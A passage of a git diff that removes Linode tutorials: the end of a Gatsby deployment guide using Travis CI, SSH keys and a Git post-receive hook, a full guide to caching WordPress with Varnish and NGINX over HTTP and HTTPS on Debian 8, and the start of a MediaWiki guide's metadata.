scripts/gatsby-deploy -d -- eval "$(ssh-agent -s)" -- cp scripts/gatsby-deploy ~/.ssh/gatsby-deploy -- chmod 600 ~/.ssh/gatsby-deploy -- ssh-add ~/.ssh/gatsby-deploy -- echo -e "Host 192.0.2.2\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config -{{}} - -1. Travis CI can add entries to the build environment's `~/.ssh/known_hosts` prior to deploying your site. Insert the following `addons` step prior to the `before_install` step in your `.travis.yml`. Replace `192.0.2.2` with your Linode's IP address: - - {{< file "~/example-site/.travis.yml" yml>}} -# [...] -dist: trusty -sudo: false - -addons: - ssh_known_hosts: - - 192.0.2.2 - -before_install: -# [...] -{{}} - -1. From your local computer, upload your Travis environment's public key to the home directory of your limited Linux user on your Linode. Replace `example_user` with your Linode's user and `192.0.2.2` with your Linode's IP address: - - scp ~/example-site/scripts/gatsby-deploy.pub example_user@192.0.2.2:~/gatsby-deploy.pub - -1. Log in to your Linode (using the same user that the key was uploaded to) and copy the key into your `authorized_keys` file: - - mkdir -p .ssh - cat gatsby-deploy.pub | tee -a .ssh/authorized_keys - -### Create a Deployment Script - -1. Update your `.travis.yml` to include a `deploy` step. This section will be executed when a pull request is merged into the *master* branch. Add the following lines below the `before_install` step, at the end of the file: - - {{< file "~/example-site/.travis.yml" yml>}} -deploy: -- provider: script - skip_cleanup: true - script: bash scripts/deploy.sh - on: - branch: master -{{}} - - The instructions for pushing your site to your Linode will be defined in a `deploy.sh` script that you will create. - - - {{< note type="secondary" title="Full contents of your Travis configuration" isCollapsible=true >}} - The complete and final version of your `.travis.yml` file should resemble the following: - - {{< file "~/example-site/.travis.yml" yml>}} -language: node_js -node_js: -- "10.0" - -dist: trusty -sudo: false - -addons: - ssh_known_hosts: - - 192.0.2.2 - -before_install: -- openssl aes-256-cbc -K $encrypted_07d52615a665_key -iv $encrypted_07d52615a665_iv - -in scripts/gatsby-deploy.enc -out scripts/gatsby-deploy -d -- eval "$(ssh-agent -s)" -- cp scripts/gatsby-deploy ~/.ssh/gatsby-deploy -- chmod 600 ~/.ssh/gatsby-deploy -- ssh-add ~/.ssh/gatsby-deploy -- echo -e "Host 192.0.2.2\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config - -deploy: -- provider: script - skip_cleanup: true - script: bash scripts/deploy.sh - on: - branch: master -{{}} - - {{< /note >}} - -1. From your local `example-site` Git repository, create a `deploy.sh` file in the `scripts` directory and make it executable: - - touch scripts/deploy.sh - chmod +x scripts/deploy.sh - -1. Open your `deploy.sh` file in your text editor and add the following lines. Replace all instances of `example_user` with your Linode's user, and replace `192.0.2.2` with your Linode's IP: - - {{< file "scripts/deploy.sh" bash >}} -#!/bin/bash -set -x - -gatsby build - -# Configure Git to only push the current branch -git config --global push.default simple - -# Remove .gitignore and replace with the production version -rm -f .gitignore -cp scripts/prodignore .gitignore -cat .gitignore - -# Add the Linode production server as a remote repository -git remote add production ssh://example_user@192.0.2.2:/home/example_user/gatsbybare.git - -# Add and commit all the static files generated by the Gatsby build -git add . && git commit -m "Gatsby build" - -# Push all changes to the Linode production server -git push -f production HEAD:refs/heads/master -{{}} - - The deploy script builds the Gatsby static files (which are placed inside the `public` directory inside your repository) and pushes them to your Linode. Specifically, this script: - - - Commits the newly-built `public` directory to the Travis build environment's copy of your Git repository. - - Pushes that commit (over the SSH protocol) to a remote repository on your Linode, which you will create in the next section of this guide. - - {{< note >}} - Remember that because these instructions are executed in an isolated virtual environment, the `git commit` that is run here does not affect the repository on your local computer or on GitHub. - {{< /note >}} - -1. You may recall that you previously updated your `.gitignore` file to exclude the `public` directory. To allow this directory to be committed in your build environment's repository (and therefore pushed to your Linode), you will need to override that rule at deploy time. - - From the root of your local Gatsby project, copy your `.gitignore` to a new `scripts/prodignore` file: - - cp .gitignore scripts/prodignore - - Open your new `prodignore` file, remove the `public` line, and save the change: - - {{< file "scripts/prodignore" git >}} -.cache/ -public # Remove this line -yarn-error.log -{{}} - - The `deploy.sh` script you created includes a line that will copy this `scripts/prodignore` file into your repository's root `.gitgnore`, which will then allow the script to commit the `public` directory. - -### Prepare the Remote Git Repository on Your Linode - -In the previous section you completed the configuration for the Travis deployment step. In this section, you will prepare the Linode to receive Git pushes from your deployment script. The pushed website files will then be served by your NGINX web server. - -1. SSH into your Linode (under the same the user that holds your Travis build environment's public key). Create a new directory inside your home folder named `gatsbybare.git`: - - mkdir ~/gatsbybare.git - -1. Navigate to the new directory and initialize it as a *bare* Git repository: - - cd ~/gatsbybare.git - git init --bare - - [A bare Git repository](https://git-scm.com/book/en/v2/Git-on-the-Server-Getting-Git-on-a-Server) stores Git objects and does not maintain working copies (i.e. file changes that haven't been committed) in the directory. Bare repositories provide a centralized place where users can push their changes. GitHub is an example of a bare Git repository. The common practice for naming a bare Git repository is to end the name with the `.git` extension. - -1. Configure the Git directory to allow linking two repositories together: - - git config receive.denyCurrentBranch updateInstead - -1. Your Travis build environment will now be able to push files into your Linode's Git repository, but the files will not be located in your NGINX document root. To fix this, you will use the [*hooks* feature](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) of Git to copy your website files to the document root folder. Specifically, you can implement a `post-receive` hook that will run after every push to your Linode's repository. - - In your Linode's Git repository, create the `post-receive` file and make it executable: - - touch hooks/post-receive - chmod +x hooks/post-receive - -1. Add the following lines to the `post-receive` file. Replace `example.com` with your domain name, and replace `example_user` with your Linode's user: - - {{< file "hooks/post-receive" bash >}} -#!/bin/sh -git --work-tree=/usr/share/nginx/html/example.com --git-dir=/home/example_user/gatsbybare.git checkout -f -{{}} - - This script will check out the files from your Linode repository's *master* branch into your document root folder. - - {{< note >}} - While a bare Git repository does not keep working copies of files within the repository's directory, you can still use the `--work-tree` option to check out files into another directory. - {{< /note >}} - -### Deploy with Travis CI - -All of the test and deployment configuration work has been completed and can now be executed: - -1. Commit all remaining changes to your `travis-configs` branch and push them up to your central GitHub repository: - - git add . - git commit -m "Travis deployment configuration" - git push origin travis-configs - -1. Visit the pull request you previously created on GitHub for your `travis-configs` branch. If you visit this page shortly after the `git push` command is issued, the new Travis builds may still be in progress. - -1. After the linked `continuous-integration/travis-ci/pr` pull request Travis build completes, click on the corresponding **Details** link. If the build was successful, you should see the following message: - - {{< output >}} -Skipping a deployment with the script provider because the current build is a pull request. -{{< /output >}} - - This message appears because pull request builds [skip the deployment step](https://docs.travis-ci.com/user/deployment#pull-requests). - -1. Back on the GitHub pull request page, after the linked `continuous-integration/travis-ci/push` branch build completes, click on the corresponding **Details** link. If the build was successful, you should see the following message: - - {{< output >}} -Skipping a deployment with the script provider because this branch is not permitted: travis-configs -{{< /output >}} - - This message appears because your `.travis.yml` restricts the deployment script to updates on the *master* branch. - -1. If your Travis builds failed, review the build logs for the reason for the failure. - -1. If the builds succeeded, [merge your pull request](https://help.github.com/articles/merging-a-pull-request/). - -1. After merging the pull request, visit [travis-ci.com](https://travis-ci.com/) directly and view the `example-site` repository. A new Travis build corresponding to your `Merge pull request` commit will be in progress. When this build completes, a `Deploying application` message will appear at the end of the build logs. This message can be expanded to view the complete logs for the `deploy` step. - -1. If your `deploy` step succeeded, you can now visit your domain name in your browser. You should see the message from your Gatsby project's `index.js`. - -## Troubleshooting - -If your Travis builds are failing, here are some places to look when troubleshooting: - -- View the build logs for the failed Travis build. -- Ensure all your `.sh` scripts are executable, including the Git hook on the Linode. -- Test the Git hook on your Linode by running `bash ~/gatsbybare.git/hooks/post-receive`. -- If you encounter permissions issues, make sure your Linode user can write files to your document root directory. -- To view the contents of the bare Git repository, run `git ls-tree --full-tree -r HEAD`. - -## Next Steps - -Read the [Gatsby.js Tutorial](https://www.gatsbyjs.org/tutorial/) to learn how to build a website with Gatsby. diff --git a/docs/guides/websites/varnish/use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8/index.md b/docs/guides/websites/varnish/use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8/index.md deleted file mode 100644 index 7fa93146804..00000000000 --- a/docs/guides/websites/varnish/use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8/index.md +++ /dev/null @@ -1,591 +0,0 @@ ---- -slug: use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8 -title: Use Varnish & NGINX to Serve WordPress over SSL & HTTP on Debian 8 -description: 'Learn to integrate Varnish with nginx to serve cached WordPress content for both SSL and plain HTTP websites.' -authors: ["Frederick Jost Zweig"] -contributors: ["Frederick Jost Zweig"] -published: 2016-11-23 -keywords: ["Varnish", "cache", "Nginx", "WordPress", "SSL", "PHP-FPM"] -tags: ["wordpress", "ssl", "nginx"] -license: '[CC BY-ND 4.0](http://creativecommons.org/licenses/by-nd/4.0/)' -external_resources: - - '[Varnish Documentation](https://varnish-cache.org/docs/index.html)' - - '[NGINX Documentation](https://nginx.org/en/docs/)' -aliases: ['/websites/varnish/use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8/'] ---- - -![Use Varnish & NGINX to Serve WordPress over SSL & HTTP on Debian 8](varnish-nginx-wordpress-ssl-http-debian.png "Use Varnish & NGINX to Serve WordPress over SSL & HTTP on Debian 8") - -**Varnish** is a powerful and flexible caching HTTP reverse proxy. It can be installed in front of any web server to cache its contents, which will improve speed and reduce server load. When a client requests a webpage, Varnish first tries to send it from the cache. If the page is not cached, Varnish forwards the request to the backend server, fetches the response, stores it in the cache, and delivers it to the client. - -When a cached resource is requested through Varnish, the request doesn't reach the web server or involve PHP or MySQL execution. Instead, Varnish reads it from memory, delivering the cached page in a matter of microseconds. - -One Varnish drawback is that it doesn't support SSL-encrypted traffic. You can circumvent this issue by using **NGINX** for both SSL decryption and as a backend web server. Using NGINX for both tasks reduces the complexity of the setup, leading to fewer potential points of failure, lower resource consumption, and fewer components to maintain. - -Both Varnish and NGINX are versatile tools with a variety of uses. This guide uses Varnish 4.0, which comes included in Debian 8 repositories, and presents a basic setup that you can refine to meet your specific needs. - -## How Varnish and NGINX Work Together - -In this guide, we will configure NGINX and Varnish for two WordPress sites: - - * `www.example-over-http.com` will be an unencrypted, HTTP-only site. - * `www.example-over-https.com` will be a separate, HTTPS-encrypted site. - -For HTTP traffic, Varnish will listen on port `80`. If content is found in the cache, Varnish will serve it. If not, it will pass the request to NGINX on port `8080`. In the second case, NGINX will send the requested content back to Varnish on the same port, then Varnish will store the fetched content in the cache and deliver it to the client on port `80`. - -For HTTPS traffic, NGINX will listen on port `443` and send decrypted traffic to Varnish on port `80`. If content is found in the cache, Varnish will send the unencrypted content from the cache back to NGINX, which will encrypt it and send it to the client. If content is not found in the cache, Varnish will request it from NGINX on port `8080`, store it in the cache, and then send it unencrypted to frontend NGINX, which will encrypt it and send it to the client's browser. - -Our setup is illustrated below. Please note that frontend NGINX and backend NGINX are one and the same server: - -![Nginx-Varnish-Nginx server configuration diagram](varnish-cache.png "Nginx-Varnish-Nginx server configuration diagram") - -## Before You Begin - -This tutorial assumes that you have SSH access to your Linode running Debian 8 (Jessie). Before you get started: - -1. Complete the steps in our [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. You'll need a standard user account with `sudo` privileges for many commands in this guide. - -2. Follow the steps outlined in our [LEMP on Debian 8](/cloud/guides/install-a-lemp-stack-on-debian/) guide. Skip the NGINX configuration section, since we'll address it later in this guide. - -3. After configuring NGINX according to this guide, follow the steps in our [WordPress](/cloud/guides/how-to-install-and-configure-wordpress/) guide to install and configure WordPress. We'll include a step in the instructions to let you know when it's time to do this. - -## Install and Configure Varnish - -For all steps in this section, replace `203.0.113.100` with your Linodes public IPv4 address, and `2001:DB8::1234` with its IPv6 address. - -1. Update your package repositories and install Varnish: - - sudo apt-get update - sudo apt-get install varnish - -2. Open `/etc/default/varnish` with sudo rights. To make sure Varnish starts at boot, under `Should we start varnishd at boot?` set the `START` to `yes`: - - {{< file "/etc/default/varnish" conf >}} -START=yes - -{{< /file >}} - - -3. In the `Alternative 2` section, make the following changes to `DAEMON_OPTS`: - - {{< file "/etc/default/varnish" conf >}} -DAEMON_OPTS="-a :80 \ - -T localhost:6082 \ - -f /etc/varnish/custom.vcl \ - -S /etc/varnish/secret \ - -s malloc,1G" - -{{< /file >}} - - - This will set Varnish to listen on port `80` and will instruct it to use the `custom.vcl` configuration file. The custom configuration file is used so that future updates to Varnish do not overwrite changes to `default.vcl`. - - The `-s malloc,1G` line sets the maximum amount of RAM that will be used by Varnish to store content. This value can be adjusted to suit your needs, taking into account the server's total RAM along with the size and expected traffic of your website. For example, on a system with 4 GB of RAM, you can allocate 2 or 3 GB to Varnish. - - When you've made these changes, save and exit the file. - -### Create a Custom Varnish Configuration File - -1. To start customizing your Varnish configuration, create a new file called `custom.vcl`: - - sudo touch /etc/varnish/custom.vcl - -2. Varnish configuration uses a domain-specific language called Varnish Configuration Language (VCL). First, specify the VCL version used: - - {{< file "/etc/varnish/custom.vcl" conf >}} -vcl 4.0; - -{{< /file >}} - - -3. Specify that the backend (NGINX) is listening on port `8080`, by adding the `backend default` directive: - - {{< file "/etc/varnish/custom.vcl" conf >}} -backend default { -.host = "localhost"; -.port = "8080"; -} - -{{< /file >}} - - -4. Allow cache-purging requests only from localhost using the `acl` directive: - - {{< file "/etc/varnish/custom.vcl" conf >}} -acl purger { -"localhost"; -"203.0.113.100"; -"2001:DB8::1234"; -} - -{{< /file >}} - - - Remember to substitute your Linode's actual IP addresses for the example addresses. - -5. Create the `sub vcl_recv` routine, which is used when a request is sent by a HTTP client. - - {{< file "/etc/varnish/custom.vcl" conf >}} -sub vcl_recv { - - -} - -{{< /file >}} - - - The settings in the following steps should be placed **inside** the `sub vcl_recv` brackets: - - - Redirect HTTP requests to HTTPS for our SSL website: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (client.ip != "127.0.0.1" && req.http.host ~ "example-over-https.com") { -set req.http.x-redir = "https://www.example-over-https.com" + req.url; -return(synth(850, "")); -} - -{{< /file >}} - - - Remember to replace the example domain with your own. - - - Allow cache-purging requests only from the IP addresses in the above `acl purger` section (Step 4). If a purge request comes from a different IP address, an error message will be produced: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (req.method == "PURGE") { -if (!client.ip ~ purger) { -return(synth(405, "This IP is not allowed to send PURGE requests.")); - } -return (purge); -} - -{{< /file >}} - - - - Change the `X-Forwarded-For` header: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (req.restarts == 0) { -if (req.http.X-Forwarded-For) { -set req.http.X-Forwarded-For = client.ip; - } -} - -{{< /file >}} - - - - Exclude POST requests or those with basic authentication from caching: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (req.http.Authorization || req.method == "POST") { -return (pass); -} - -{{< /file >}} - - - - Exclude RSS feeds from caching: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (req.url ~ "/feed") { -return (pass); -} - -{{< /file >}} - - - - Tell Varnish not to cache the WordPress admin and login pages: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (req.url ~ "wp-admin|wp-login") { -return (pass); -} - -{{< /file >}} - - - - WordPress sets many cookies that are safe to ignore. To remove them, add the following lines: - - {{< file "/etc/varnish/custom.vcl" conf >}} -set req.http.cookie = regsuball(req.http.cookie, "wp-settings-\d+=[^;]+(; )?", ""); -set req.http.cookie = regsuball(req.http.cookie, "wp-settings-time-\d+=[^;]+(; )?", ""); -if (req.http.cookie == "") { -unset req.http.cookie; - } - -{{< /file >}} - - - {{< note respectIndent=false >}} -This is the final setting to be placed inside the `sub vcl_recv` routine. All directives in the following steps (from Step 6 onward) should be placed after the closing last bracket. -{{< /note >}} - -6. Redirect HTTP to HTTPS using the `sub vcl_synth` directive with the following settings: - - {{< file "/etc/varnish/custom.vcl" conf >}} -sub vcl_synth { - if (resp.status == 850) { - set resp.http.Location = req.http.x-redir; - set resp.status = 302; - return (deliver); - } -} - -{{< /file >}} - - -7. Cache-purging for a particular page must occur each time we make edits to that page. To implement this, we use the `sub vcl_purge` directive: - - {{< file "/etc/varnish/custom.vcl" conf >}} -sub vcl_purge { - set req.method = "GET"; - set req.http.X-Purger = "Purged"; - return (restart); -} - -{{< /file >}} - - -8. The `sub vcl_backend_response` directive is used to handle communication with the backend server, NGINX. We use it to set the amount of time the content remains in the cache. We can also set a *grace period*, which determines how Varnish will serve content from the cache even if the backend server is down. Time can be set in seconds (s), minutes (m), hours (h) or days (d). Here, we've set the caching time to 24 hours, and the grace period to 1 hour, but you can adjust these settings based on your needs: - - {{< file "/etc/varnish/custom.vcl" conf >}} -sub vcl_backend_response { - set beresp.ttl = 24h; - set beresp.grace = 1h; - -{{< /file >}} - - -9. Before closing the `vcl_backend_response` block with a bracket, allow cookies to be set only if you are on admin pages or WooCommerce-specific pages: - - {{< file "/etc/varnish/custom.vcl" conf >}} -if (bereq.url !~ "wp-admin|wp-login|product|cart|checkout|my-account|/?remove_item=") { -unset beresp.http.set-cookie; -} - } - -{{< /file >}} - - - Remember to include in the above series any page that requires cookies to work, for example `phpmyadmin|webmail|postfixadmin`, etc. If you change the WordPress login page from `wp-login.php` to something else, also add that new name to this series. - - {{< note respectIndent=false >}} -The "WooCommerce Recently Viewed" widget, which displays a group of recently viewed products, uses a cookie to store recent user-specific actions and this cookie prevents Varnish from caching product pages when they are browsed by visitors. If you want to cache product pages when they are only browsed, before products are added to the cart, you must disable this widget. - -Special attention is required when enabling widgets that use cookies to store recent user-specific activities, if you want Varnish to cache as many pages as possible. -{{< /note >}} - -10. Change the headers for purge requests by adding the `sub vcl_deliver` directive: - - {{< file "/etc/varnish/custom.vcl" conf >}} -sub vcl_deliver { -if (req.http.X-Purger) { -set resp.http.X-Purger = req.http.X-Purger; - } -} - -{{< /file >}} - - - This concludes the `custom.vcl` configuration. You can now save and exit the file. The final `custom.vcl` file will look like [this](custom.vcl). - - {{< note respectIndent=false >}} -You can download the complete sample configuration file using the link above and `wget`. If you do, remember to replace the variables as described above. -{{< /note >}} - -### Edit the Varnish Startup Configuration - -1. For Varnish to work properly, we also need to edit the `/lib/systemd/system/varnish.service` file to use our custom configuration file. Specifically, we'll tell it to use the custom configuration file and modify the port number and allocated memory values to match the changes we made in our `/etc/default/varnish` file. - - Open `/lib/systemd/system/varnish.service` and find the two lines beginning with `ExecStart`. Modify them to look like this: - - {{< file "/lib/systemd/system/varnish.service" conf >}} -ExecStartPre=/usr/sbin/varnishd -C -f /etc/varnish/custom.vcl -ExecStart=/usr/sbin/varnishd -a :80 -T localhost:6082 -f /etc/varnish/custom.vcl -S /etc/varnish/secret -s malloc,1G - -{{< /file >}} - - -2. After saving and exiting the file, reload the `systemd` process: - - sudo systemctl daemon-reload - -## Install and Configure PHP - -Before configuring NGINX, we have to install *PHP-FPM*. FPM is short for FastCGI Process Manager, and it allows the web server to act as a proxy, passing all requests with the `.php` file extension to the PHP interpreter. - -1. Install PHP-FPM: - - sudo apt-get install php5-fpm php5-mysql - -2. Open the `/etc/php5/fpm/php.ini` file. Find the directive `cgi.fix_pathinfo=`, uncomment and set it to `0`. If this parameter is set to `1`, the PHP interpreter will try to process the file whose path is closest to the requested path; if it's set to `0`, the interpreter will only process the file with the exact path, which is a safer option. - - {{< file "/etc/php5/fpm/php.ini" ini >}} -cgi.fix_pathinfo=0 - -{{< /file >}} - - - After you've made this change, save and exit the file. - -3. Open `/etc/php5/fpm/pool.d/www.conf` and confirm that the `listen =` directive, which specifies the socket used by NGINX to pass requests to PHP-FPM, matches the following: - - {{< file "/etc/php5/fpm/pool.d/www.conf" conf >}} -listen = /var/run/php5-fpm.sock - -{{< /file >}} - - - Save and exit the file. - -4. Restart PHP-FPM: - - sudo systemctl restart php5-fpm - -5. Open `/etc/nginx/fastcgi_params` and find the `fastcgi_param HTTPS` directive. Below it, add the following two lines, which are necessary for NGINX to interact with the FastCGI service: - - {{< file "/etc/nginx/fastcgi_params" nginx >}} -fastcgi_param SCRIPT_FILENAME $request_filename; -fastcgi_param PATH_INFO $fastcgi_path_info; - -{{< /file >}} - - - Once you're done, save and exit the file. - -## Configure NGINX - -1. Open `/etc/nginx/nginx.conf` and comment out the `ssl_protocols` and `ssl_prefer_server_ciphers` directives. We'll include these SSL settings in the server block within the `/etc/nginx/sites-enabled/default` file: - - {{< file "/etc/nginx/nginx.conf" conf >}} -# ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE -# ssl_prefer_server_ciphers on; - -{{< /file >}} - - -2. Since the access logs and error logs will be defined for each individual website in the server block, comment out the `access_log` and `error_log` directives: - - {{< file "/etc/nginx/nginx.conf" conf>}} -# access_log /var/log/nginx/access.log; -# error_log /var/log/nginx/error.log; - -{{< /file >}} - - - Save and exit the file. - -3. Next, we'll configure the HTTP-only website, `www.example-over-http.com`. Begin by making a backup of the default server block (virtual host) file: - - sudo mv /etc/nginx/sites-available/default /etc/nginx/sites-available/default-backup - -4. Open a new `/etc/nginx/sites-available/default` file and add the following blocks: - - {{< file "/etc/nginx/sites-available/default" nginx >}} -server { - listen 8080; - listen [::]:8080; - server_name example-over-http.com; - return 301 http://www.example-over-http.com$request_uri; -} - -server { - listen 8080; - listen [::]:8080; - server_name www.example-over-http.com; - root /var/www/html/example-over-http.com/public_html; - port_in_redirect off; - index index.php; - location / { - try_files $uri $uri/ /index.php?$args; - } - - location ~ \.php$ { - try_files $uri =404; - fastcgi_split_path_info ^(.+\.php)(/.+)$; - include fastcgi_params; - fastcgi_index index.php; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - fastcgi_pass unix:/var/run/php5-fpm.sock; - } - -error_log /var/www/html/example-over-http.com/logs/error.log notice; - -} - -{{< /file >}} - - - A few things to note here: - - * The first server block is used to redirect all requests for `example-over-http.com` to `www.example-over-http.com`. This assumes you want to use the `www` subdomain and have added a DNS A record for it. - * `listen [::]:8080;` is needed if you want your site to be also accesible over IPv6. - * `port_in_redirect off;` prevents NGINX from appending the port number to the requested URL. - * `fastcgi` directives are used to proxy requests for PHP code execution to PHP-FPM, via the FastCGI protocol. - -5. To configure NGINX for the SSL-encrypted website (in our example we called it `www.example-over-https.com`), you need two more server blocks. Append the following server blocks to your `/etc/nginx/sites-available/default` file: - - {{< file "/etc/nginx/sites-available/default" nginx >}} -server { - listen 443 ssl; - listen [::]:443 ssl; - server_name www.example-over-https.com; - port_in_redirect off; - - ssl on; - ssl_certificate /etc/nginx/ssl/ssl-bundle.crt; - ssl_certificate_key /etc/nginx/ssl/example-over-https.com.key; - ssl_protocols TLSv1 TLSv1.1 TLSv1.2; - ssl_ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS; - ssl_prefer_server_ciphers on; - - ssl_session_cache shared:SSL:20m; - ssl_session_timeout 60m; - - add_header Strict-Transport-Security "max-age=31536000"; - add_header X-Content-Type-Options nosniff; - - location / { - proxy_pass http://127.0.0.1:80; - proxy_set_header Host $http_host; - proxy_set_header X-Forwarded-Host $http_host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto https; - proxy_set_header HTTPS "on"; - - access_log /var/www/html/example-over-https.com/logs/access.log; - error_log /var/www/html/example-over-https.com/logs/error.log notice; - } -} - -server { - listen 8080; - listen [::]:8080; - server_name www.example-over-https.com; - root /var/www/html/example-over-https.com/public_html; - index index.php; - port_in_redirect off; - - location / { - try_files $uri $uri/ /index.php?$args; - } - - location ~ \.php$ { - try_files $uri =404; - fastcgi_split_path_info ^(.+\.php)(/.+)$; - include fastcgi_params; - fastcgi_index index.php; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - fastcgi_param HTTPS on; - fastcgi_pass unix:/var/run/php5-fpm.sock; - } -} - -{{< /file >}} - - - For an SSL-encrypted website, you need one server block to receive traffic on port 443 and pass decrypted traffic to Varnish on port `80`, and another server block to serve unencrypted traffic to Varnish on port `8080`, when Varnish asks for it. - - {{< note type="alert" respectIndent=false >}} -The `ssl_certificate` directive must specify the location and name of the SSL certificate file. Take a look at our guide to using [SSL on NGINX](/cloud/guides/getting-started-with-nginx-part-3-enable-tls-for-https/) for more information, and update the `ssl_certificate` and `ssl_certificate_key` values as needed. -{{< /note >}} - - Alternately, if you don't have a commercially-signed SSL certificate (issued by a CA), you can issue a self-signed SSL certificate using *openssl*, but this should be done only for testing purposes. Self-signed sites will return a "This Connection is Untrusted" message when opened in a browser. - - Now, let's review the key points of the previous two server blocks: - - * `ssl_session_cache shared:SSL:20m;` creates a 20MB cache shared between all worker processes. This cache is used to store SSL session parameters to avoid SSL handshakes for parallel and subsequent connections. 1MB can store about 4000 sessions, so adjust this cache size according to the expected traffic for your website. - * `ssl_session_timeout 60m;` specifies the SSL session cache timeout. Here it's set to 60 minutes, but it can be decreased or increased, depending on traffic and resources. - * `ssl_prefer_server_ciphers on;` means that when an SSL connection is established, the server ciphers are preferred over client ciphers. - * `add_header Strict-Transport-Security "max-age=31536000";` tells web browsers they should only interact with this server using a secure HTTPS connection. The `max-age` specifies in seconds what period of time the site is willing to accept HTTPS-only connections. - * `add_header X-Content-Type-Options nosniff;` this header tells the browser not to override the response content's MIME type. So, if the server says the content is text, the browser will render it as text. - * `proxy_pass http://127.0.0.1:80;` this directive proxies all the decrypted traffic to Varnish, which listens on port `80`. - * `proxy_set_header` directives add specific headers to requests, so SSL traffic can be recognized. - * `access_log` and `error_log` indicate the location and name of the respective types of logs. Adjust these locations and names according to your setup, and make sure the `www-data` user has permissions to modify each log. - * `fastcgi` directives present in the last server block are necessary to proxy requests for PHP code execution to PHP-FPM, via the FastCGI protocol. - -6. **Optional:** To prevent access to your website via direct input of your IP address into a browser, you can put a catch-all default server block right at the top of the file: - - {{< file "/etc/nginx/sites-available/default" nginx >}} -server { - listen 8080 default_server; - listen [::]:8080; - server_name _; - root /var/www/html; - index index.html; -} - -{{< /file >}} - - - The `/var/www/html/index.html` file can contain a simple message like "Page not found!" - -7. Restart NGINX, then start Varnish: - - sudo systemctl restart nginx - sudo systemctl start varnish - -8. Install WordPress, following our [How to Install and Configure WordPress](/cloud/guides/how-to-install-and-configure-wordpress/) guide. Once WordPress is installed, continue with this guide. - -9. After installing WordPress, restart Varnish to clear any cached redirects to the setup page: - - sudo systemctl restart varnish - -## Install the WordPress "Varnish HTTP Purge" Plugin - -When you edit a WordPress page and update it, the modification won't be visible even if you refresh the browser because it will receive the cached version of the page. To purge the cached page automatically when you edit a page, you must install a free WordPress plugin called "Varnish HTTP Purge." - -To install this plugin, log in to your WordPress website and click **Plugins** on the main left sidebar. Select **Add New** at the top of the page, and search for **Varnish HTTP Purge**. When you've found it, click **Install Now**, then **Activate**. - -## Test Your Setup - -1. To test whether Varnish and NGINX are doing their jobs for the HTTP website, run: - - wget -SS http://www.example-over-http.com - - The output should look like this: - - --2016-11-04 16:48:43-- http://www.example-over-http.com/ - Resolving www.example-over-http.com (www.example-over-http.com)... your_server_ip - Connecting to www.example-over-http.com (www.example-over-http.com)|your_server_ip|:80... connected. - HTTP request sent, awaiting response... - HTTP/1.1 200 OK - Server: nginx/1.6.2 - Date: Sat, 26 Mar 2016 22:25:55 GMT - Content-Type: text/html; charset=UTF-8 - Link: ; rel="https://api.w.org/" - X-Varnish: 360795 360742 - Age: 467 - Via: 1.1 varnish-v4 - Transfer-Encoding: chunked - Connection: keep-alive - Accept-Ranges: bytes - Length: unspecified [text/html] - Saving to: \u2018index.html.2\u2019 - - index.html [ <=> ] 12.17K --.-KB/s in 0s - - 2016-03-27 00:33:42 (138 MB/s) - \u2018index.html.2\u2019 saved [12459] - - The third line specifies the connection port number: `80`. The backend server is correctly identified: `Server: nginx/1.6.2`. And the traffic passes through Varnish as intended: `Via: 1.1 varnish-v4`. The period of time the object has been kept in cache by Varnish is also displayed in seconds: `Age: 467`. - -2. To test the SSL-encrypted website, run the same command, replacing the URL: - - wget -SS https://www.example-over-https.com - - The output should be similar to that of the HTTP-only site. - - {{< note respectIndent=false >}} -If you're using a self-signed certificate while testing, add the `--no-check-certificate` option to the `wget` command: - -wget -SS --no-check-certificate https://www.example-over-https.com -{{< /note >}} - -## Next Steps - -By using nginx in conjunction with Varnish, the speed of any WordPress website can be drastically improved while making best use of your hardware resources. - -You can strengthen the security of the SSL connection by generating a custom Diffie-Hellman (DH) parameter, for a more secure cryptographic key exchange process. - -An additional configuration option is to enable Varnish logging for the plain HTTP website, since now Varnish will be the first to receive the client requests, while NGINX only receives requests for those pages that are not found in the cache. For SSL-encrypted websites, the logging should be done by NGINX because client requests pass through it first. Logging becomes even more important if you use log monitoring software such as [Fail2ban](/cloud/guides/using-fail2ban-to-secure-your-server-a-tutorial/), Awstats or Webalizer. diff --git a/docs/guides/websites/wikis/install-mediawiki-on-ubuntu-1804/index.md b/docs/guides/websites/wikis/install-mediawiki-on-ubuntu-1804/index.md deleted file mode 100644 index de3bcb46c5c..00000000000 --- a/docs/guides/websites/wikis/install-mediawiki-on-ubuntu-1804/index.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -slug: install-mediawiki-on-ubuntu-1804 -title: Install MediaWiki on Ubuntu 18.04 -description: 'This guide will show you how to get started with the popular MediaWiki engine for powering wiki websites of all types and sizes on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-08-28 -keywords: ["mediawiki", "wiki", "web-applications"] -tags: ["wiki","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: 